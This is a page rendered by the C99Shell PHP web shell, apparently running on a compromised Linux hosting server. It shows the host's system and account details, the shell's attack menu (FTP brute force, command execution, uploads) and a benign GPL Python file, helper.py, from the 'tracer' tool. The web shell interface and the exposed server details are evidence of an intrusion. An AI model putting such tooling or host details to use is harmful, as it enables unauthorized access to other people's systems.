!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/lib/python3.6/site-packages/tracer/controllers/   drwxr-xr-x
Free 303.02 GB of 429.69 GB (70.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     helper.py (2.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#-*- coding: utf-8 -*-
# helper.py
# Defines HelperController
#
# Copyright (C) 2016 Jakub Kadlcik
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions of
# the GNU General Public License v.2, or (at your option) any later version.
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY expressed or implied, including the implied warranties of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General
# Public License for more details.  You should have received a copy of the
# GNU General Public License along with this program; if not, write to the
# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
# 02110-1301, USA.
#

from psutil import AccessDenied

from tracer.resources.system import System
from tracer.resources.memory import dump_memory
from tracer.views.helper import HelperView
from tracer.resources.lang import _
from tracer.resources.tracer import Tracer
from tracer.resources.applications import Applications
from tracer.resources.rules import Rules


class HelperController(object):

    args = None
    packages = None

    def __init__(self, args, packages=None):
        self.args = args
        self.packages = packages

    def render(self):
        for app_name in self.args.helper:
            self.print_helper(Applications.find(app_name), self.args)
            if app_name != self.args.helper[-1]:
                print("")

    def print_helper(self, app, args):
        if app.instances:
            manager = System.package_manager()
            package = manager.provided_by(app)
            if package:
                package.load_info(System.package_manager())

            tr = Tracer(System.package_manager(), Rules, Applications)
            tr.now = self.args.now
            if self.packages:
                tr.specified_packages = self.packages

            try: affected_by = tr.trace_application(app)
            except AccessDenied: affected_by = _("You don't have enough permissions")
            affects = self._affects(app, affected_by)

            view = HelperView()
            view.assign("args", args)
            view.assign("processes", app.instances)
            view.assign("application", app)
            view.assign("package", package)
            view.assign("affected_by", affected_by)
            view.assign("affects", affects)
            view.render()
        else:
            print(_("Application called {0} is not running").format(app.name))

    def _affects(self, app, affected_by):
        if not affected_by:
            return None

        last = affected_by[-1].name()
        if last == app.name:
            return None

        if last not in [p.parent().name() for p in app.instances]:
            return None

        return last

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0034 ]--